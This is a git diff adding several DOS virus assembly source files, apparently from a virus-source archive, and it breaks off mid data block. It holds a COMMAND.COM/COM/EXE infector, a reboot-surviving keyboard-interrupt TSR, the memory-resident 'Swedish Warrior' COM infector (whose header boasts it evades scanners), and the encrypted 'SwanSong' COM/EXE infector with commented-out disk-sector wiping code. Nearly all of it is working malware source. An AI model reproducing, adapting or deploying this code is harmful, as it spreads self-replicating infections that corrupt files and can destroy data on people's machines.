+ call sub_14 ; (02AB) + call sub_16 ; (02D7) + jnc loc_12 ; Jump if carry=0 +loc_13: + call sub_12 ; (027C) + +loc_ret_14: + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + mov di,[bp+294h] + cmp di,0FA00h + cmc ; Complement carry + jc loc_ret_15 ; Jump if carry Set + add di,offset ds:[100h] ; (8344:0100=0E8h) + mov [bp+294h],di + mov si,offset data_21 ; (8344:053E=0) + add si,bp + mov cx,80h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + +loc_ret_15: + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + pushf ; Push flags + mov si,[bp+294h] + sub si,100h + xchg si,[bp+294h] + mov di,offset data_21 ; (8344:053E=0) + add di,bp + mov cx,80h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + popf ; Pop flags + retn +sub_12 endp + + db 0F1h, 69h + +; +; SUBROUTINE +; + +sub_13 proc near + mov di,[bp+294h] + add di,data_3e ; (8344:0080=0) + mov al,5Ch ; '\' + stosb ; Store al to es:[di] + mov ah,47h ; 'G' + mov si,di + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov ah,3Bh ; ';' + mov dx,[bp+294h] + add dx,data_3e ; (8344:0080=0) + int 21h ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov cx,12h + mov dx,offset ds:[4FBh] ; (8344:04FB=0) + call sub_20 ; (0343) + jc loc_ret_18 ; Jump if carry Set + call sub_17 ; (02E0) +loc_16: + jc loc_ret_18 ; Jump if carry Set + mov al,2Eh ; '.' + cmp al,[bp+55Ch] + jne loc_17 ; Jump if not equal + call sub_16 ; (02D7) + jmp short loc_16 ; (02C6) +loc_17: + clc ; Clear carry flag + +loc_ret_18: + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + call sub_21 ; (034A) + jc loc_ret_19 ; Jump if carry Set + call sub_17 ; (02E0) + +loc_ret_19: + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + mov cl,10h +loc_20: + test cl,[bp+553h] + jnz loc_ret_21 ; Jump if not zero + call sub_21 ; (034A) + jnc loc_20 ; Jump if carry=0 + +loc_ret_21: + retn +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + push word ptr [bp+4EAh] + mov dx,offset data_15+0Dh ; (8344:0509=0) + xor al,al ; Zero register + call sub_19 ; (0313) + jnc loc_22 ; Jump if carry=0 + mov dx,offset data_15+19h ; (8344:0515=0) + xor al,al ; Zero register + call sub_19 ; (0313) + jnc loc_22 ; Jump if carry=0 + mov dx,offset data_15+1Fh ; (8344:051B=0) + mov al,0FFh + call sub_19 ; (0313) +loc_22: + pop word ptr [bp+4EAh] + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + mov [bp+4EAh],al + mov cx,23h + call sub_20 ; (0343) + jc loc_ret_27 ; Jump if carry Set + mov cx,3 +loc_23: + loop locloop_24 ; Loop if cx > 0 + + stc ; Set carry flag + retn + +locloop_24: + call sub_22 ; (034F) + jc loc_25 ; Jump if carry Set + call sub_25 ; (03A9) + jc loc_25 ; Jump if carry Set + call sub_26 ; (03DF) + jmp short loc_26 ; (033E) +loc_25: + call sub_23 ; (0371) + call sub_21 ; (034A) + jnc loc_23 ; Jump if carry=0 + retn +loc_26: + call sub_23 ; (0371) + clc ; Clear carry flag + +loc_ret_27: + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_20 proc near + mov ah,4Eh ; 'N' + add dx,bp + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + retn +sub_20 endp + + +; +; SUBROUTINE +; + +sub_21 proc near + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + retn +sub_21 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + push cx + xor ax,ax ; Zero register + cmp ax,[bp+55Ah] + jb loc_28 ; Jump if below + mov ax,0F000h + cmp ax,[bp+558h] + jb loc_28 ; Jump if below + mov ax,9 + cmp [bp+558h],ax + jb loc_28 ; Jump if below + mov cl,0 + call sub_24 ; (039C) +loc_28: + pop cx + retn +sub_22 endp + + +; +; SUBROUTINE +; + +sub_23 proc near + push cx + mov bx,[bp+53Ch] + cmp bx,0FFFFh + je loc_29 ; Jump if equal + mov ax,5701h + mov cx,[bp+554h] + mov dx,[bp+556h] + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov bx,0FFFFh + mov [bp+53Ch],bx +loc_29: + mov cl,[bp+553h] + call sub_24 ; (039C) + pop cx + retn +sub_23 endp + + +; +; SUBROUTINE +; + +sub_24 proc near + mov ax,4301h + xor ch,ch ; Zero register + mov dx,data_22e ; (8344:055C=0) + add dx,bp + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + retn +sub_24 endp + + +; +; SUBROUTINE +; + +sub_25 proc near + push cx + mov dx,data_22e ; (8344:055C=0) + add dx,bp + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_30 ; Jump if carry Set + mov [bp+53Ch],ax + mov dx,offset ds:[10Bh] ; (8344:010B=9) + add dx,bp + mov cx,9 + mov bx,ax + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov cx,6 + mov si,offset ds:[4EEh] ; (8344:04EE=0) + add si,bp + mov di,offset data_7 ; (8344:010E=90h) + add di,bp + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_31 ; Jump if not zero + stc ; Set carry flag +loc_30: + pop cx + retn +loc_31: + clc ; Clear carry flag + pop cx + retn +sub_25 endp + + +; +; SUBROUTINE +; + +sub_26 proc near + mov di,offset ds:[4ECh] ; (8344:04EC=0E8h) + add di,bp + mov ax,[bp+558h] + sub ax,3 + stosw ; Store ax to es:[di] + mov ax,4200h + mov bx,[bp+53Ch] + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov cx,9 + mov dx,offset data_9 ; (8344:04EB=0) + add dx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + mov cx,435h + mov dx,offset ds:[109h] ; (8344:0109=90h) + add dx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + retn +sub_26 endp + + +; +; SUBROUTINE +; + +sub_27 proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + test dl,3 + jnz loc_ret_33 ; Jump if not zero + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + test dh,3 + jnz loc_ret_33 ; Jump if not zero + mov cx,47h + mov si,data_1e ; (009D:0446=10h) + add si,bp + mov di,si + +locloop_32: + lodsb ; String [si] to al + sub al,80h + stosb ; Store al to es:[di] + loop locloop_32 ; Loop if cx > 0 + + mov ah,9 + mov dx,data_1e ; (009D:0446=10h) + add dx,bp + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_33: +data_8 db 'Craig Murphy calls himself SUPER' + db 'HACKER but he''s just a talentle' + db 'ss Jerk!', 0Dh, 0Ah, '$' + +; External Entry into Subroutine + +sub_28: + mov al,0FFh + cmp al,[bp+4EAh] + je loc_34 ; Jump if equal + retn +loc_34: + push word ptr ds:data_2e ; (8344:002C=0) + pop es + xor di,di ; Zero register + mov al,1 +loc_35: + scasb ; Scan es:[di] for al + jnz loc_35 ; Jump if not zero + inc di + push es + pop ds + mov dx,di + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_36 ; Jump if carry Set + mov es,cx + mov ax,4301h + xor cx,cx ; Zero register + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_36 ; Jump if carry Set + mov ah,3Ch ; '<' + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + push ds + push dx + push cs + pop ds + mov dx,offset ds:[100h] ; (8344:0100=0E8h) + mov bx,ax + mov ah,40h ; '@' + mov cx,9 + add cx,bp + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + pop dx + pop ds + mov cx,es + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_36: + push cs + pop ds + mov ah,9 + mov dx,offset data_15+25h ; (8344:0521=0) + add dx,bp + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov ah,4Ch ; 'L' + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code +data_9 db 0 +loc_37: + call sub_29 ; (04F6) + dec bp + jnz $+74h ; Jump if not zero + jo $+6Ah ; Jump if overflow=1 + jns loc_37 ; Jump if not sign +sub_27 endp + + +; +; SUBROUTINE +; + +sub_29 proc near + popf ; Pop flags + add [bx+si],al + add bl,[si+0] +data_15 db '*.*', 0 + db '\^^^^^^^^', 0 + db 'COMMAND.COM', 0 + db '*.COM', 0 + db '*.EXE', 0 + db 'Bad command or file name', 0Dh, 0Ah + db '$' + db 6 +data_21 db 0 +sub_29 endp + + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/s/SURVIVE.ASM b/s/SURVIVE.ASM new file mode 100755 index 0000000..54a485a --- /dev/null +++ b/s/SURVIVE.ASM @@ -0,0 +1,226 @@ + +; Survive a warm reboot on a XT. +; +; Compile under Turbo Assembler 2.5 +; This program works on a generic IBM PC/XT + + + .model tiny + .radix 16 + .code + + org 100 + +start: + jmp init + +handler: + push ds + push ax + xor ax,ax + mov ds,ax + mov al,ds:[417] + and al,0c + cmp al,0c + jnz no_ctrl_alt + in al,[60] + cmp al,53 + jz now_fuck +no_ctrl_alt: + pop ax + pop ds + db 0ea +oldvect dd ? +now_fuck: + mov ds:[472],1234 + mov ax,ds:[413] + mov cx,6 + shl ax,cl + push ax + mov es,ax + mov di,offset handler + push cs + pop ds + mov si,di + repz cmpsw + jnz new_move + mov dl,es:[top_seg] + pop ax + jmp short set_segm +new_move: + mov al,ah + cmp al,0a0 + jnc set_top + mov al,0a0 +set_top: + xchg ax,dx + pop ax + sub ax,1000 +set_segm: + mov cs:[top_seg],dl + push ax + mov es,ax + mov di,0e000 + mov ax,0f000 + mov ds,ax + mov si,di + mov cx,1000 + cld + rep movsw + cmp byte ptr [si-10],0ea + jnz cant_fuck + cmp [si-0dh],0f000 + jnz cant_fuck + mov di,[si-0f] + cmp di,0e000 + jc cant_fuck + mov al,[di] + cmp al,0e9 + jnz no_jmp + add di,[di+1] + add di,3 +no_jmp: + push di + mov cx,800 + call protect_ram + call replace_ints + push es + pop ds + mov bx,0e000 + mov cx,2000 + xor al,al +check_lup: + add al,[bx] + inc bx + loop check_lup + neg al + mov [di-1],al + push cs + pop ds + mov word ptr ds:[tmp_handler],5ebh + mov si,offset start + mov di,si + mov cx,init-start + rep movsb + retf +cant_fuck: + db 0ea + dw 0 + dw 0ffff + +protect_ram: + jcxz cant_fuck + mov al,80 + repnz scasb + jnz protect_ram + mov ax,[di] + and al,0f8 + cmp al,0f8 + jnz protect_ram + cmp ah,dl + jnz protect_ram + mov ax,es + mov es:[di+1],ah + ret + +top_seg db ? + +replace_ints: + jcxz cant_fuck + mov al,0a5 + repnz scasb + jnz replace_ints + cmp [di],4747 + jnz replace_ints + cmp [di+2],0fbe2 + jnz replace_ints + add di,4 + push cs + pop ds + mov [dummy],di + mov si,offset my_piece + mov cx,my_top-my_piece + rep movsb +exit_prn: + ret + +my_piece: + push ax + mov cx,20 + xor di,di +re_init: + scasw + mov ax,0f000 + stosw + loop re_init + mov ax,offset tmp_handler + xchg ax,es:[di+44-80] + mov cs:[old_tmp],ax + mov ax,cs + xchg ax,es:[di+46-80] + mov cs:[old_tmp+2],ax + pop ax + db 0ea +dummy dw ? + dw 0f000 + db 0 +my_top: + +print: + mov si,offset message +print_msg: + lodsb + cmp al,'$' + jz exit_prn + mov ah,0e + int 10 + jmp print_msg + +tmp_handler: + jmp $ +go_old: + db 0ea +old_tmp dw ? + dw ? + push ds + push si + push ax + xor ax,ax + mov ds,ax + mov ax,offset handler + xchg ax,ds:[24] + mov word ptr cs:[oldvect],ax + mov ax,cs + xchg ax,ds:[26] + mov word ptr cs:[oldvect+2],ax + push cs + pop ds + mov word ptr [tmp_handler],9090 + call print + pop ax + pop si + pop ds + jmp go_old + +message: + db 'Never ending story...',0dh,0a,'$' + +init: + mov ax,3509 + int 21 + mov word ptr [oldvect],bx + mov word ptr [oldvect+2],es + mov dx,offset handler + mov ah,25 + int 21 + call print + mov dx,offset init + int 27 + + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/s/SW.ASM b/s/SW.ASM new file mode 100755 index 0000000..8a3a90b --- /dev/null +++ b/s/SW.ASM @@ -0,0 +1,223 @@ +; VirusName: Swedish Warrior +; Origin : Sweden +; Author : Lord Zero +; +; Okey, I decided to include this virus, of many reasons. But first +; let's give some information about LOC (Logical Coders). +; +; LOC (Logical Coders) turned out to be a demo-group instead of a Virus- +; group, that I thought it was. THM (Trojan Horse Maker 1.10) was just +; released by Lord Zero, ie, NOT a LOC product. Lord Zero was also +; kicked from LOC after LOC noticed 'their' release of THM. +; +; Then why release it? Well It can't however still not be detected +; by any scanner (except Tbscan's Heuristic!). And it's a shame to +; see a virus being programmed, but not given to the major public. +; +; A message to all of LOC, Sorry for state "LoC the new Swedish +; virus writing group", but what was I suppose to think? +; +; I wish Lord Zero my best in his single career, or what-ever.. +; / The Unforgiven/Immortal Riot +; ----------- +; SWEDISH WARRIOR +; ----------- +; A hardly commented non-overwriting memory resident *.COM infector. + + .MODEL TINY + .CODE + org 100h + + +Start: + call go +go: pop bp + push ax + push cx + sub bp,offset go + mov ax,3D03h + mov dx,9eh + int 21h + jnc ok + + mov cx,cs + mov ds,cx + mov es,cx + + mov cx,es + dec cx + mov es,cx + + mov bx,es:[03h] + + mov dx,offset Finish-offset Start + mov cl,4 + shr dx,cl + add dx,4 + + mov cx,es + inc cx + mov es,cx + + sub bx,dx + mov ah,4Ah + int 21h + + jc ok + dec dx + mov ah,48h + mov bx,dx + int 21h + + jc ok + + dec ax + mov es,ax + mov cx,8 + mov es:[01],cx + mov si,offset offset start + add si,bp + sub ax,0Fh + mov es,ax + mov di,0100h + mov cx,offset Finish-offset Start + cld + rep movsb + xor ax,ax + mov ds,ax + mov di,offset oldint21 + mov si,084h + mov bx,offset tsr + call maketsr +ok: + push cs + pop es + push es + pop ds + mov di,0100h + mov si,offset buffer + add si,bp + movsw + movsb + pop cx + pop ax + xor dx,dx + push dx + xor bp,bp + xor si,si + xor di,di + mov bx,0100h + push bx + xor bx,bx + retn + db 'Swedish Warrior v1.0 by Lord Zer0.' +buffer db 90h,0CDh,20h +oldint21: + dd ? +new_jmp db 0e9h,00h,00h +tsr: + pushf + cmp ah,4Bh ; check for execution, + je infect ; if so, infect it.... + cmp ax,3D03h + jne gooo + popf + iret +gooo: + popf + jmp dword ptr cs:[oldint21] +infect: + push ax + push bx + push cx + push dx + push bp + push si + push di + push ds + push es + mov ax,4300h + int 21h + jc quit + push cx + xor cx,cx + mov ax,4301h + int 21h + + mov ax,3d02h + int 21h + push ds + push dx + push cs + pop ds + mov bx,ax + mov ah,3fh + mov dx,offset buffer + mov cx,3 + int 21h + cmp word ptr cs:[buffer],'ZM' + je quitexe + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + sub ax,offset finish-offset start+3 + cmp ax,word ptr cs:[buffer+1] + je quitexe + add ax,offset finish-offset start + mov word ptr cs:[new_jmp+1],ax + + mov ah,40h + mov cx,offset finish-offset start + mov dx,0100h + int 21h + jc quitexe + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h + mov cl,3 + mov dx,offset new_jmp + int 21h +quitexe: + mov ax,5700h + int 21h + inc al + int 21h + mov ah,3eh + int 21h + pop dx + pop ds + + pop cx + mov ax,4301h + int 21h +quit: + pop es + pop ds + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + jmp gooo +maketsr: + mov ax,[si] + mov es:[di],ax + mov ax,[si+2] + mov es:[di+2],ax + + cli ; Disable interrupts + mov ds:[si],bx + mov ds:[si+2],es + sti ; Enable interrupts + ret +finish: + end start \ No newline at end of file diff --git a/s/SWANSNGB.ASM b/s/SWANSNGB.ASM new file mode 100755 index 0000000..65d1307 --- /dev/null +++ b/s/SWANSNGB.ASM @@ -0,0 +1,630 @@ +; ZEP1.ASM : [SwanSong] by [pAgE] +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'ZP' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov di,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov bp,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,46h,0 ; add word ptr cs:[bp], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bp ; calculate new decryption location + inc bp + dec di ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],9 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,1 ; Check month + jb exit_virus + cmp cx,1992 ; Check year + jb exit_virus + cmp al,0 ; Check date of week + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 27h ; YEAH! Memory Resident + NOP ; Change it to 21h instead! + retn +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 23Fh + db 2 +data_4 dw 0 + db 'TheDraw COM file Screen Save' + db 1Ah +data_5 db 'Unsupported Video Mode', 0Dh, 0Ah + db '$' +loc_1: + mov ah,0Fh + int 010h + xor ah,ah + int 010h + mov ax,0002h + mov cx,0100h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_ret_21 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 + + +loc_ret_21: + + + mov si,offset data00 ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + ;mov ax,0002h ; Which Drive??? + ;mov cx,0100h ; How many sectors to NUKE? + ;cli ; Disable interrupts (no Ctrl-C) + ;cwd ; Clear DX (start with sector 0) + ;int 026h ; Ahhhh! WAD...pfffft! + ;sti ; Res.interrupts what's left + ;mov ax,04C00h ; DOS term.func. + ;int 021h +activate endp + + jmp exit_virus + +creator db '[MPC]',0 ; Mass Produced Code Generator +virusname db '[SwanSong]',0 +author db '[pAgE]',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data00 dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 2000,8,2500,8,2000,14,2500,14 + dw 2500,14,3000,4,4000,24,3500,12,4000,6 + dw 3500,12,4000,4,4500,10,5000,4 + dw 5500,15,3000,8,3500,20,3000,8,3500,50 + dw 0 +data_6 db 2 + db 10h + db 'I', 27h, 'll never leave you alo' + db 'ne because, I', 27h, 'm ...' + db 19h, 1Dh, 18h, 19h, 48h, 18h + db 19h, 48h, 18h, 19h, 0Eh, 04h + db 0D6h,0C4h,0D2h,0C4h,0BFh, 20h + db 0D2h, 20h, 20h,0C2h, 20h,0D2h + db 0C4h,0C4h,0BFh, 19h, 2Ah, 18h + db 